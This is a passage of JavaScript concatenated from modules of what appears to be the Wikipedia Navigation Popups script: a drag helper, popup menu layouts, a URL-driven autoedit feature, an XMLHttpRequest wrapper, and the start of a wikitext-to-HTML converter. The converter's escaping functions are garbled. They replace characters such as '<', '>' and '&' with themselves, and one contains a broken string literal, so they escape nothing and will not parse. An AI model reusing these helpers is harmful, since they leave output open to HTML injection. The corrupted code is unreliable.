/**
* @file
* The {@link Drag} object, which enables objects to be dragged around.
*
* <pre>
* *************************************************
* dom-drag.js
* 09.25.2001
* www.youngpup.net
* **************************************************
* 10.28.2001 - fixed minor bug where events
* sometimes fired off the handle, not the root.
* *************************************************
* Pared down, some hooks added by [[User:Lupin]]
*
* Copyright Aaron Boodman.
* Saying stupid things daily since March 2001.
* </pre>
*/
/**
* Creates a new Drag object. This is used to make various DOM elements draggable.
*
* @constructor
*/
function Drag() {
/**
* Condition to determine whether or not to drag. This function should take one parameter,
* an Event. To disable this, set it to <code>null</code>.
*
* @type {Function}
*/
this.startCondition = null;
/**
* Hook to be run when the drag finishes. This is passed the final coordinates of the
* dragged object (two integers, x and y). To disables this, set it to <code>null</code>.
*
* @type {Function}
*/
this.endHook = null;
}
/**
* Gets an event in a cross-browser manner.
*
* @param {Event} e
* @private
*/
Drag.prototype.fixE = function (e) {
if (typeof e == 'undefined') {
e = window.event;
}
if (typeof e.layerX == 'undefined') {
e.layerX = e.offsetX;
}
if (typeof e.layerY == 'undefined') {
e.layerY = e.offsetY;
}
return e;
};
/**
* Initialises the Drag instance by telling it which object you want to be draggable, and what
* you want to drag it by.
*
* @param {HTMLElement} o The "handle" by which <code>oRoot</code> is dragged.
* @param {HTMLElement} oRoot The object which moves when <code>o</code> is dragged, or <code>o</code> if omitted.
*/
Drag.prototype.init = function (o, oRoot) {
const dragObj = this;
this.obj = o;
o.onmousedown = function (e) {
dragObj.start.apply(dragObj, [e]);
};
o.dragging = false;
o.popups_draggable = true;
o.hmode = true;
o.vmode = true;
o.root = oRoot || o;
if (isNaN(parseInt(o.root.style.left, 10))) {
o.root.style.left = '0px';
}
if (isNaN(parseInt(o.root.style.top, 10))) {
o.root.style.top = '0px';
}
o.root.onthisStart = function () {};
o.root.onthisEnd = function () {};
o.root.onthis = function () {};
};
/**
* Starts the drag.
*
* @private
* @param {Event} e
*/
Drag.prototype.start = function (e) {
const o = this.obj; // = this;
e = this.fixE(e);
if (this.startCondition && !this.startCondition(e)) {
return;
}
const y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom, 10);
const x = parseInt(o.hmode ? o.root.style.left : o.root.style.right, 10);
o.root.onthisStart(x, y);
o.lastMouseX = e.clientX;
o.lastMouseY = e.clientY;
const dragObj = this;
o.onmousemoveDefault = document.onmousemove;
o.dragging = true;
document.onmousemove = function (e) {
dragObj.drag.apply(dragObj, [e]);
};
document.onmouseup = function (e) {
dragObj.end.apply(dragObj, [e]);
};
return false;
};
/**
* Does the drag.
*
* @param {Event} e
* @private
*/
Drag.prototype.drag = function (e) {
e = this.fixE(e);
const o = this.obj;
const ey = e.clientY;
const ex = e.clientX;
const y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom, 10);
const x = parseInt(o.hmode ? o.root.style.left : o.root.style.right, 10);
let nx, ny;
nx = x + (ex - o.lastMouseX) * (o.hmode ? 1 : -1);
ny = y + (ey - o.lastMouseY) * (o.vmode ? 1 : -1);
this.obj.root.style[o.hmode ? 'left' : 'right'] = nx + 'px';
this.obj.root.style[o.vmode ? 'top' : 'bottom'] = ny + 'px';
this.obj.lastMouseX = ex;
this.obj.lastMouseY = ey;
this.obj.root.onthis(nx, ny);
return false;
};
/**
* Ends the drag.
*
* @private
*/
Drag.prototype.end = function () {
document.onmousemove = this.obj.onmousemoveDefault;
document.onmouseup = null;
this.obj.dragging = false;
if (this.endHook) {
this.endHook(
parseInt(this.obj.root.style[this.obj.hmode ? 'left' : 'right'], 10),
parseInt(this.obj.root.style[this.obj.vmode ? 'top' : 'bottom'], 10)
);
}
};
// ENDFILE: domdrag.js
// STARTFILE: structures.js
pg.structures.original = {};
pg.structures.original.popupLayout = function () {
return [
'popupError',
'popupImage',
'popupTopLinks',
'popupTitle',
'popupUserData',
'popupData',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
pg.structures.original.popupRedirSpans = function () {
return [
'popupRedir',
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
];
};
pg.structures.original.popupTitle = function (x) {
log('defaultstructure.popupTitle');
if (!getValueOf('popupNavLinks')) {
return navlinkStringToHTML('<b><<mainlink>></b>', x.article, x.params);
}
return '';
};
pg.structures.original.popupTopLinks = function (x) {
log('defaultstructure.popupTopLinks');
if (getValueOf('popupNavLinks')) {
return navLinksHTML(x.article, x.hint, x.params);
}
return '';
};
pg.structures.original.popupImage = function (x) {
log('original.popupImage, x.article=' + x.article + ', x.navpop.idNumber=' + x.navpop.idNumber);
return imageHTML(x.article, x.navpop.idNumber);
};
pg.structures.original.popupRedirTitle = pg.structures.original.popupTitle;
pg.structures.original.popupRedirTopLinks = pg.structures.original.popupTopLinks;
function copyStructure(oldStructure, newStructure) {
pg.structures[newStructure] = {};
for (const prop in pg.structures[oldStructure]) {
pg.structures[newStructure][prop] = pg.structures[oldStructure][prop];
}
}
copyStructure('original', 'nostalgia');
pg.structures.nostalgia.popupTopLinks = function (x) {
let str = '';
str += '<b><<mainlink|shortcut= >></b>';
// user links
// contribs - log - count - email - block
// count only if applicable; block only if popupAdminLinks
str += 'if(user){<br><<contribs|shortcut=c>>';
str += 'if(wikimedia){*<<count|shortcut=#>>}';
str += 'if(ipuser){}else{*<<email|shortcut=E>>}if(admin){*<<block|shortcut=b>>}}';
// editing links
// talkpage -> edit|new - history - un|watch - article|edit
// other page -> edit - history - un|watch - talk|edit|new
const editstr = '<<edit|shortcut=e>>';
const editOldidStr =
'if(oldid){<<editOld|shortcut=e>>|<<revert|shortcut=v|rv>>|<<edit|cur>>}else{' +
editstr +
'}';
const historystr = '<<history|shortcut=h>>';
const watchstr = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
str +=
'<br>if(talk){' +
editOldidStr +
'|<<new|shortcut=+>>' +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<article|shortcut=a>></b>|<<editArticle|edit>>' +
'}else{' + // not a talk page
editOldidStr +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<talk|shortcut=t>></b>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>}';
// misc links
str += '<br><<whatLinksHere|shortcut=l>>*<<relatedChanges|shortcut=r>>';
str += 'if(admin){<br>}else{*}<<move|shortcut=m>>';
// admin links
str +=
'if(admin){*<<unprotect|unprotectShort>>|<<protect|shortcut=p>>*' +
'<<undelete|undeleteShort>>|<<delete|shortcut=d>>}';
return navlinkStringToHTML(str, x.article, x.params);
};
pg.structures.nostalgia.popupRedirTopLinks = pg.structures.nostalgia.popupTopLinks;
/** -- fancy -- */
copyStructure('original', 'fancy');
pg.structures.fancy.popupTitle = function (x) {
return navlinkStringToHTML('<font size=+0><<mainlink>></font>', x.article, x.params);
};
pg.structures.fancy.popupTopLinks = function (x) {
const hist =
'<<history|shortcut=h|hist>>|<<lastEdit|shortcut=/|last>>|<<editors|shortcut=E|eds>>';
const watch = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
const move = '<<move|shortcut=m|move>>';
return navlinkStringToHTML(
'if(talk){' +
'<<edit|shortcut=e>>|<<new|shortcut=+|+>>*' +
hist +
'*' +
'<<article|shortcut=a>>|<<editArticle|edit>>' +
'*' +
watch +
'*' +
move +
'}else{<<edit|shortcut=e>>*' +
hist +
'*<<talk|shortcut=t|>>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>' +
'*' +
watch +
'*' +
move +
'}<br>',
x.article,
x.params
);
};
pg.structures.fancy.popupOtherLinks = function (x) {
const admin =
'<<unprotect|unprotectShort>>|<<protect|shortcut=p>>*<<undelete|undeleteShort>>|<<delete|shortcut=d|del>>';
let user = '<<contribs|shortcut=c>>if(wikimedia){|<<count|shortcut=#|#>>}';
user +=
'if(ipuser){|<<arin>>}else{*<<email|shortcut=E|' +
popupString('email') +
'>>}if(admin){*<<block|shortcut=b>>}';
const normal = '<<whatLinksHere|shortcut=l|links here>>*<<relatedChanges|shortcut=r|related>>';
return navlinkStringToHTML(
'<br>if(user){' + user + '*}if(admin){' + admin + 'if(user){<br>}else{*}}' + normal,
x.article,
x.params
);
};
pg.structures.fancy.popupRedirTitle = pg.structures.fancy.popupTitle;
pg.structures.fancy.popupRedirTopLinks = pg.structures.fancy.popupTopLinks;
pg.structures.fancy.popupRedirOtherLinks = pg.structures.fancy.popupOtherLinks;
/** -- fancy2 -- */
// hack for [[User:MacGyverMagic]]
copyStructure('fancy', 'fancy2');
pg.structures.fancy2.popupTopLinks = function (x) {
// hack out the <br> at the end and put one at the beginning
return '<br>' + pg.structures.fancy.popupTopLinks(x).replace(/<br>$/i, '');
};
pg.structures.fancy2.popupLayout = function () {
// move toplinks to after the title
return [
'popupError',
'popupImage',
'popupTitle',
'popupUserData',
'popupData',
'popupTopLinks',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
/** -- menus -- */
copyStructure('original', 'menus');
pg.structures.menus.popupLayout = function () {
return [
'popupError',
'popupImage',
'popupTopLinks',
'popupTitle',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupUserData',
'popupData',
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
pg.structures.menus.popupTopLinks = function (x, shorter) {
// FIXME maybe this stuff should be cached
const s = [];
const dropclass = 'popup_drop';
const enddiv = '</div>';
let hist = '<<history|shortcut=h>>';
if (!shorter) {
hist = '<menurow>' + hist + '|<<historyfeed|rss>>|<<editors|shortcut=E>></menurow>';
}
const lastedit = '<<lastEdit|shortcut=/|show last edit>>';
const thank = 'if(diff){<<thank|send thanks>>}';
const jsHistory = '<<lastContrib|last set of edits>><<sinceMe|changes since mine>>';
const linkshere = '<<whatLinksHere|shortcut=l|what links here>>';
const related = '<<relatedChanges|shortcut=r|related changes>>';
const search =
'<menurow><<search|shortcut=s>>if(wikimedia){|<<globalsearch|shortcut=g|global>>}' +
'|<<google|shortcut=G|web>></menurow>';
const watch = '<menurow><<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>></menurow>';
const protect =
'<menurow><<unprotect|unprotectShort>>|' +
'<<protect|shortcut=p>>|<<protectlog|log>></menurow>';
const del =
'<menurow><<undelete|undeleteShort>>|<<delete|shortcut=d>>|<<deletelog|log>></menurow>';
const move = '<<move|shortcut=m|move page>>';
const nullPurge = '<menurow><<nullEdit|shortcut=n|null edit>>|<<purge|shortcut=P>></menurow>';
const viewOptions = '<menurow><<view|shortcut=v>>|<<render|shortcut=S>>|<<raw>></menurow>';
const editRow =
'if(oldid){' +
'<menurow><<edit|shortcut=e>>|<<editOld|shortcut=e|this revision>></menurow>' +
'<menurow><<revert|shortcut=v>>|<<undo>></menurow>' +
'}else{<<edit|shortcut=e>>}';
const markPatrolled = 'if(rcid){<<markpatrolled|mark patrolled>>}';
const newTopic = 'if(talk){<<new|shortcut=+|new topic>>}';
const protectDelete = 'if(admin){' + protect + del + '}';
if (getValueOf('popupActionsMenu')) {
s.push('<<mainlink>>*' + menuTitle(dropclass, 'actions'));
} else {
s.push('<div class="' + dropclass + '"><<mainlink>>');
}
s.push('<menu>');
s.push(editRow + markPatrolled + newTopic + hist + lastedit + thank);
if (!shorter) {
s.push(jsHistory);
}
s.push(move + linkshere + related);
if (!shorter) {
s.push(nullPurge + search);
}
if (!shorter) {
s.push(viewOptions);
}
s.push('<hr />' + watch + protectDelete);
s.push(
'<hr />' +
'if(talk){<<article|shortcut=a|view article>><<editArticle|edit article>>}' +
'else{<<talk|shortcut=t|talk page>><<editTalk|edit talk>>' +
'<<newTalk|shortcut=+|new topic>>}</menu>' +
enddiv
);
// user menu starts here
const email = '<<email|shortcut=E|email user>>';
const contribs =
'if(wikimedia){<menurow>}<<contribs|shortcut=c|contributions>>if(wikimedia){</menurow>}' +
'if(admin){<menurow><<deletedContribs>></menurow>}';
s.push('if(user){*' + menuTitle(dropclass, 'user'));
s.push('<menu>');
s.push('<menurow><<userPage|shortcut=u|user page>>|<<userSpace|space>></menurow>');
s.push(
'<<userTalk|shortcut=t|user talk>><<editUserTalk|edit user talk>>' +
'<<newUserTalk|shortcut=+|leave comment>>'
);
if (!shorter) {
s.push('if(ipuser){<<arin>>}else{' + email + '}');
} else {
s.push('if(ipuser){}else{' + email + '}');
}
s.push('<hr />' + contribs + '<<userlog|shortcut=L|user log>>');
s.push('if(wikimedia){<<count|shortcut=#|edit counter>>}');
s.push(
'if(admin){<menurow><<unblock|unblockShort>>|<<block|shortcut=b|block user>></menurow>}'
);
s.push('<<blocklog|shortcut=B|block log>>');
s.push('</menu>' + enddiv + '}');
// popups menu starts here
if (getValueOf('popupSetupMenu') && !x.navpop.hasPopupMenu /* FIXME: hack */) {
x.navpop.hasPopupMenu = true;
s.push('*' + menuTitle(dropclass, 'popupsMenu') + '<menu>');
s.push('<<togglePreviews|toggle previews>>');
s.push('<<purgePopups|reset>>');
s.push('<<disablePopups|disable>>');
s.push('</menu>' + enddiv);
}
return navlinkStringToHTML(s.join(''), x.article, x.params);
};
function menuTitle(dropclass, s) {
const text = popupString(s); // i18n
const len = text.length;
return '<div class="' + dropclass + '" style="--navpop-m-len:' + len + 'ch"><a href="#" noPopup=1>' + text + '</a>';
}
pg.structures.menus.popupRedirTitle = pg.structures.menus.popupTitle;
pg.structures.menus.popupRedirTopLinks = pg.structures.menus.popupTopLinks;
copyStructure('menus', 'shortmenus');
pg.structures.shortmenus.popupTopLinks = function (x) {
return pg.structures.menus.popupTopLinks(x, true);
};
pg.structures.shortmenus.popupRedirTopLinks = pg.structures.shortmenus.popupTopLinks;
pg.structures.lite = {};
pg.structures.lite.popupLayout = function () {
return ['popupTitle', 'popupPreview'];
};
pg.structures.lite.popupTitle = function (x) {
log(x.article + ': structures.lite.popupTitle');
//return navlinkStringToHTML('<b><<mainlink>></b>',x.article,x.params);
return '<div><span class="popup_mainlink"><b>' + x.article.toString() + '</b></span></div>';
};
// ENDFILE: structures.js
// STARTFILE: autoedit.js
function substitute(data, cmdBody) {
// alert('sub\nfrom: '+cmdBody.from+'\nto: '+cmdBody.to+'\nflags: '+cmdBody.flags);
const fromRe = RegExp(cmdBody.from, cmdBody.flags);
return data.replace(fromRe, cmdBody.to);
}
function execCmds(data, cmdList) {
for (let i = 0; i < cmdList.length; ++i) {
data = cmdList[i].action(data, cmdList[i]);
}
return data;
}
function parseCmd(str) {
// returns a list of commands
if (!str.length) {
return [];
}
let p = false;
switch (str.charAt(0)) {
case 's':
p = parseSubstitute(str);
break;
default:
return false;
}
if (p) {
return [p].concat(parseCmd(p.remainder));
}
return false;
}
// FIXME: Only used once here, confusing with native (and more widely-used) unescape, should probably be replaced
// Then again, unescape is semi-soft-deprecated, so we should look into replacing that too
function unEscape(str, sep) {
return str
.split('\\\\')
.join('\\')
.split('\\' + sep)
.join(sep)
.split('\\n')
.join('\n');
}
function parseSubstitute(str) {
// takes a string like s/a/b/flags;othercmds and parses it
let from, to, flags, tmp;
if (str.length < 4) {
return false;
}
const sep = str.charAt(1);
str = str.substring(2);
tmp = skipOver(str, sep);
if (tmp) {
from = tmp.segment;
str = tmp.remainder;
} else {
return false;
}
tmp = skipOver(str, sep);
if (tmp) {
to = tmp.segment;
str = tmp.remainder;
} else {
return false;
}
flags = '';
if (str.length) {
tmp = skipOver(str, ';') || skipToEnd(str, ';');
if (tmp) {
flags = tmp.segment;
str = tmp.remainder;
}
}
return {
action: substitute,
from: from,
to: to,
flags: flags,
remainder: str,
};
}
function skipOver(str, sep) {
const endSegment = findNext(str, sep);
if (endSegment < 0) {
return false;
}
const segment = unEscape(str.substring(0, endSegment), sep);
return { segment: segment, remainder: str.substring(endSegment + 1) };
}
/*eslint-disable*/
function skipToEnd(str, sep) {
return { segment: str, remainder: '' };
}
/*eslint-enable */
function findNext(str, ch) {
for (let i = 0; i < str.length; ++i) {
if (str.charAt(i) == '\\') {
i += 2;
}
if (str.charAt(i) == ch) {
return i;
}
}
return -1;
}
function setCheckbox(param, box) {
const val = mw.util.getParamValue(param);
if (val) {
switch (val) {
case '1':
case 'yes':
case 'true':
box.checked = true;
break;
case '0':
case 'no':
case 'false':
box.checked = false;
}
}
}
function autoEdit() {
setupPopups(() => {
if (mw.util.getParamValue('autoimpl') !== popupString('autoedit_version')) {
return false;
}
if (
mw.util.getParamValue('autowatchlist') &&
mw.util.getParamValue('actoken') === autoClickToken()
) {
pg.fn.modifyWatchlist(mw.util.getParamValue('title'), mw.util.getParamValue('action'));
}
if (!document.editform) {
return false;
}
if (autoEdit.alreadyRan) {
return false;
}
autoEdit.alreadyRan = true;
const cmdString = mw.util.getParamValue('autoedit');
if (cmdString) {
try {
const editbox = document.editform.wpTextbox1;
const cmdList = parseCmd(cmdString);
const input = editbox.value;
const output = execCmds(input, cmdList);
editbox.value = output;
} catch (dang) {
return;
}
// wikEd user script compatibility
if (typeof wikEdUseWikEd != 'undefined') {
if (wikEdUseWikEd === true) {
WikEdUpdateFrame();
}
}
}
setCheckbox('autominor', document.editform.wpMinoredit);
setCheckbox('autowatch', document.editform.wpWatchthis);
const rvid = mw.util.getParamValue('autorv');
if (rvid) {
const url =
pg.wiki.apiwikibase +
'?action=query&format=json&formatversion=2&prop=revisions&revids=' +
rvid;
startDownload(url, null, autoEdit2);
} else {
autoEdit2();
}
});
}
function autoEdit2(d) {
let summary = mw.util.getParamValue('autosummary');
let summaryprompt = mw.util.getParamValue('autosummaryprompt');
let summarynotice = '';
if (d && d.data && mw.util.getParamValue('autorv')) {
const s = getRvSummary(summary, d.data);
if (s === false) {
summaryprompt = true;
summarynotice = popupString(
'Failed to get revision information, please edit manually.\n\n'
);
summary = simplePrintf(summary, [
mw.util.getParamValue('autorv'),
'(unknown)',
'(unknown)',
]);
} else {
summary = s;
}
}
if (summaryprompt) {
const txt =
summarynotice + popupString('Enter a non-empty edit summary or press cancel to abort');
const response = prompt(txt, summary);
if (response) {
summary = response;
} else {
return;
}
}
if (summary) {
document.editform.wpSummary.value = summary;
}
// Attempt to avoid possible premature clicking of the save button
// (maybe delays in updates to the DOM are to blame?? or a red herring)
setTimeout(autoEdit3, 100);
}
function autoClickToken() {
return mw.user.sessionId();
}
function autoEdit3() {
if (mw.util.getParamValue('actoken') != autoClickToken()) {
return;
}
const btn = mw.util.getParamValue('autoclick');
if (btn) {
if (document.editform && document.editform[btn]) {
const button = document.editform[btn];
const msg = tprintf(
'The %s button has been automatically clicked. Please wait for the next page to load.',
[button.value]
);
bannerMessage(msg);
document.title = '(' + document.title + ')';
button.click();
} else {
alert(
tprintf('Could not find button %s. Please check the settings in your javascript file.', [
btn,
])
);
}
}
}
function bannerMessage(s) {
const headings = document.getElementsByTagName('h1');
if (headings) {
const div = document.createElement('div');
div.innerHTML = '<font size=+1><b>' + pg.escapeQuotesHTML(s) + '</b></font>';
headings[0].parentNode.insertBefore(div, headings[0]);
}
}
function getRvSummary(template, json) {
try {
const o = getJsObj(json);
const edit = anyChild(o.query.pages).revisions[0];
const timestamp = edit.timestamp
.split(/[A-Z]/g)
.join(' ')
.replace(/^ *| *$/g, '');
return simplePrintf(template, [
edit.revid,
timestamp,
edit.userhidden ? '(hidden)' : edit.user,
]);
} catch (badness) {
return false;
}
}
// ENDFILE: autoedit.js
// STARTFILE: downloader.js
/**
* @file
* {@link Downloader}, a xmlhttprequest wrapper, and helper functions.
*/
/**
* Creates a new Downloader
*
* @constructor
* @class The Downloader class. Create a new instance of this class to download stuff.
* @param {string} url The url to download. This can be omitted and supplied later.
*/
function Downloader(url) {
if (typeof XMLHttpRequest != 'undefined') {
this.http = new XMLHttpRequest();
}
/**
* The url to download
*
* @type {string}
*/
this.url = url;
/**
* A universally unique ID number
*
* @type {number}
*/
this.id = null;
/**
* Modification date, to be culled from the incoming headers
*
* @type {Date}
* @private
*/
this.lastModified = null;
/**
* What to do when the download completes successfully
*
* @type {Function}
* @private
*/
this.callbackFunction = null;
/**
* What to do on failure
*
* @type {Function}
* @private
*/
this.onFailure = null;
/**
* Flag set on <code>abort</code>
*
* @type {boolean}
*/
this.aborted = false;
/**
* HTTP method. See https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html for
* possibilities.
*
* @type {string}
*/
this.method = 'GET';
/**
* Async flag.
*
* @type {boolean}
*/
this.async = true;
}
new Downloader();
/** Submits the http request. */
Downloader.prototype.send = function (x) {
if (!this.http) {
return null;
}
return this.http.send(x);
};
/** Aborts the download, setting the <code>aborted</code> field to true. */
Downloader.prototype.abort = function () {
if (!this.http) {
return null;
}
this.aborted = true;
return this.http.abort();
};
/** Returns the downloaded data. */
Downloader.prototype.getData = function () {
if (!this.http) {
return null;
}
return this.http.responseText;
};
/** Prepares the download. */
Downloader.prototype.setTarget = function () {
if (!this.http) {
return null;
}
this.http.open(this.method, this.url, this.async);
this.http.setRequestHeader('Api-User-Agent', pg.api.userAgent);
};
/** Gets the state of the download. */
Downloader.prototype.getReadyState = function () {
if (!this.http) {
return null;
}
return this.http.readyState;
};
pg.misc.downloadsInProgress = {};
/**
* Starts the download.
* Note that setTarget {@link Downloader#setTarget} must be run first
*/
Downloader.prototype.start = function () {
if (!this.http) {
return;
}
pg.misc.downloadsInProgress[this.id] = this;
this.http.send(null);
};
/**
* Gets the 'Last-Modified' date from the download headers.
* Should be run after the download completes.
* Returns <code>null</code> on failure.
*
* @return {Date}
*/
Downloader.prototype.getLastModifiedDate = function () {
if (!this.http) {
return null;
}
let lastmod = null;
try {
lastmod = this.http.getResponseHeader('Last-Modified');
} catch (err) {}
if (lastmod) {
return new Date(lastmod);
}
return null;
};
/**
* Sets the callback function.
*
* @param {Function} f callback function, called as <code>f(this)</code> on success
*/
Downloader.prototype.setCallback = function (f) {
if (!this.http) {
return;
}
this.http.onreadystatechange = f;
};
Downloader.prototype.getStatus = function () {
if (!this.http) {
return null;
}
return this.http.status;
};
//////////////////////////////////////////////////
// helper functions
/**
* Creates a new {@link Downloader} and prepares it for action.
*
* @param {string} url The url to download
* @param {number} id The ID of the {@link Downloader} object
* @param {Function} callback The callback function invoked on success
* @return {string|Downloader} the {@link Downloader} object created, or 'ohdear' if an unsupported browser
*/
function newDownload(url, id, callback, onfailure) {
const d = new Downloader(url);
if (!d.http) {
return 'ohdear';
}
d.id = id;
d.setTarget();
if (!onfailure) {
onfailure = 2;
}
const f = function () {
if (d.getReadyState() == 4) {
delete pg.misc.downloadsInProgress[this.id];
try {
if (d.getStatus() == 200) {
d.data = d.getData();
d.lastModified = d.getLastModifiedDate();
callback(d);
} else if (typeof onfailure == typeof 1) {
if (onfailure > 0) {
// retry
newDownload(url, id, callback, onfailure - 1);
}
} else if (typeof onfailure === 'function') {
onfailure(d, url, id, callback);
}
} catch (somerr) {
/* ignore it */
}
}
};
d.setCallback(f);
return d;
}
/**
* Simulates a download from cached data.
* The supplied data is put into a {@link Downloader} as if it had downloaded it.
*
* @param {string} url The url.
* @param {number} id The ID.
* @param {Function} callback The callback, which is invoked immediately as <code>callback(d)</code>,
* where <code>d</code> is the new {@link Downloader}.
* @param {string} data The (cached) data.
* @param {Date} lastModified The (cached) last modified date.
*/
function fakeDownload(url, id, callback, data, lastModified, owner) {
const d = newDownload(url, callback);
d.owner = owner;
d.id = id;
d.data = data;
d.lastModified = lastModified;
return callback(d);
}
/**
* Starts a download.
*
* @param {string} url The url to download
* @param {number} id The ID of the {@link Downloader} object
* @param {Function} callback The callback function invoked on success
* @return {string|Downloader} the {@link Downloader} object created, or 'ohdear' if an unsupported browser
*/
function startDownload(url, id, callback) {
const d = newDownload(url, id, callback);
if (typeof d == typeof '') {
return d;
}
d.start();
return d;
}
/**
* Aborts all downloads which have been started.
*/
function abortAllDownloads() {
for (const x in pg.misc.downloadsInProgress) {
try {
pg.misc.downloadsInProgress[x].aborted = true;
pg.misc.downloadsInProgress[x].abort();
delete pg.misc.downloadsInProgress[x];
} catch (e) {}
}
}
// ENDFILE: downloader.js
// STARTFILE: livepreview.js
// TODO: location is often not correct (eg relative links in previews)
// NOTE: removed md5 and image and math parsing. was broken, lots of bytes.
/**
* InstaView - a Mediawiki to HTML converter in JavaScript
* Version 0.6.1
* Copyright (C) Pedro Fayolle 2005-2006
* https://en.wikipedia.org/wiki/User:Pilaf
* Distributed under the BSD license
*
* Changelog:
*
* 0.6.1
* - Fixed problem caused by \r characters
* - Improved inline formatting parser
*
* 0.6
* - Changed name to InstaView
* - Some major code reorganizations and factored out some common functions
* - Handled conversion of relative links (i.e. [[/foo]])
* - Fixed misrendering of adjacent definition list items
* - Fixed bug in table headings handling
* - Changed date format in signatures to reflect Mediawiki's
* - Fixed handling of [[:Image:...]]
* - Updated MD5 function (hopefully it will work with UTF-8)
* - Fixed bug in handling of links inside images
*
* To do:
* - Better support for math tags
* - Full support for <nowiki>
* - Parser-based (as opposed to RegExp-based) inline wikicode handling (make it one-pass and
* bullet-proof)
* - Support for templates (through AJAX)
* - Support for coloured links (AJAX)
*/
const Insta = {};
function setupLivePreview() {
// options
Insta.conf = {
baseUrl: '',
user: {},
wiki: {
lang: pg.wiki.lang,
interwiki: pg.wiki.interwiki,
default_thumb_width: 180,
},
paths: {
articles: pg.wiki.articlePath + '/',
// Only used for Insta previews with images. (not in popups)
math: '/math/',
images: '//upload.wikimedia.org/wikipedia/en/', // FIXME getImageUrlStart(pg.wiki.hostname),
images_fallback: '//upload.wikimedia.org/wikipedia/commons/',
},
locale: {
user: mw.config.get('wgFormattedNamespaces')[pg.nsUserId],
image: mw.config.get('wgFormattedNamespaces')[pg.nsImageId],
category: mw.config.get('wgFormattedNamespaces')[pg.nsCategoryId],
// shouldn't be used in popup previews, i think
months: [
'Jan',
'Feb',
'Mar',
'Apr',
'May',
'Jun',
'Jul',
'Aug',
'Sep',
'Oct',
'Nov',
'Dec',
],
},
};
// options with default values or backreferences
Insta.conf.user.name = Insta.conf.user.name || 'Wikipedian';
Insta.conf.user.signature =
'[[' +
Insta.conf.locale.user +
':' +
Insta.conf.user.name +
'|' +
Insta.conf.user.name +
']]';
//Insta.conf.paths.images = '//upload.wikimedia.org/wikipedia/' + Insta.conf.wiki.lang + '/';
// define constants
Insta.BLOCK_IMAGE = new RegExp(
'^\\[\\[(?:File|Image|' +
Insta.conf.locale.image +
'):.*?\\|.*?(?:frame|thumbnail|thumb|none|right|left|center)',
'i'
);
}
Insta.dump = function (from, to) {
if (typeof from == 'string') {
from = document.getElementById(from);
}
if (typeof to == 'string') {
to = document.getElementById(to);
}
to.innerHTML = this.convert(from.value);
};
Insta.convert = function (wiki) {
let ll = typeof wiki == 'string' ? wiki.replace(/\r/g, '').split(/\n/) : wiki, // lines of wikicode
o = '', // output
p = 0, // para flag
r; // result of passing a regexp to compareLineStringOrReg()
// some shorthands
function remain() {
return ll.length;
}
function sh() {
return ll.shift();
} // shift
function ps(s) {
o += s;
} // push
// similar to C's printf, uses ? as placeholders, ?? to escape question marks
function f() {
let i = 1,
a = arguments,
f = a[0],
o = '',
c,
p;
for (; i < a.length; i++) {
if ((p = f.indexOf('?')) + 1) {
// allow character escaping
i -= c = f.charAt(p + 1) == '?' ? 1 : 0;
o += f.substring(0, p) + (c ? '?' : a[i]);
f = f.substr(p + 1 + c);
} else {
break;
}
}
return o + f;
}
function html_entities(s) {
return s.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
}
// Wiki text parsing to html is a nightmare.
// The below functions deliberately don't escape the ampersand since this would make it more
// difficult, and we don't absolutely need to for how we need it. This means that any
// unescaped ampersands in wikitext will remain unescaped and can cause invalid HTML.
// Browsers should all be able to handle it though. We also escape significant wikimarkup
// characters to prevent further matching on the processed text.
function htmlescape_text(s) {
return s
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/:/g, ':')
.replace(/\[/g, '[')
.replace(/]/g, ']');
}
function htmlescape_attr(s) {
return htmlescape_text(s).replace(/'/g, ''').replace(/"/g, '"');
}
// return the first non matching character position between two strings
function str_imatch(a, b) {
for (var i = 0, l = Math.min(a.length, b.length); i < l; i++) {
if (a.charAt(i) != b.charAt(i)) {
break;
}
}
return i;
}
// compare current line against a string or regexp
// if passed a string it will compare only the first string.length characters
// if passed a regexp the result is stored in r
function compareLineStringOrReg(c) {
return typeof c == 'string' ?
ll[0] && ll[0].substr(0, c.length) == c :
(r = ll[0] && ll[0].match(c));
}
function compareLineString(c) {
return ll[0] == c;
} // compare current line against a string
function charAtPoint(p) {
return ll[0].charAt(p);
} // return char at pos p
function endl(s) {
ps(s);
sh();
}
function parse_list() {
let prev = '';
while (remain() && compareLineStringOrReg(/^([*#:;]+)(.*)$/)) {
const l_match = r;
sh();
const ipos = str_imatch(prev, l_match[1]);
// close uncontinued lists
for (let prevPos = prev.length - 1; prevPos >= ipos; prevPos--) {
const pi = prev.charAt(prevPos);
if (pi == '*') {
ps('</ul>');
} else if (pi == '#') {
ps('</ol>');
}
// close a dl only if the new item is not a dl item (:, ; or empty)
else if ($.inArray(l_match[1].charAt(prevPos), ['', '*', '#'])) {
ps('</dl>');
}
}
// open new lists
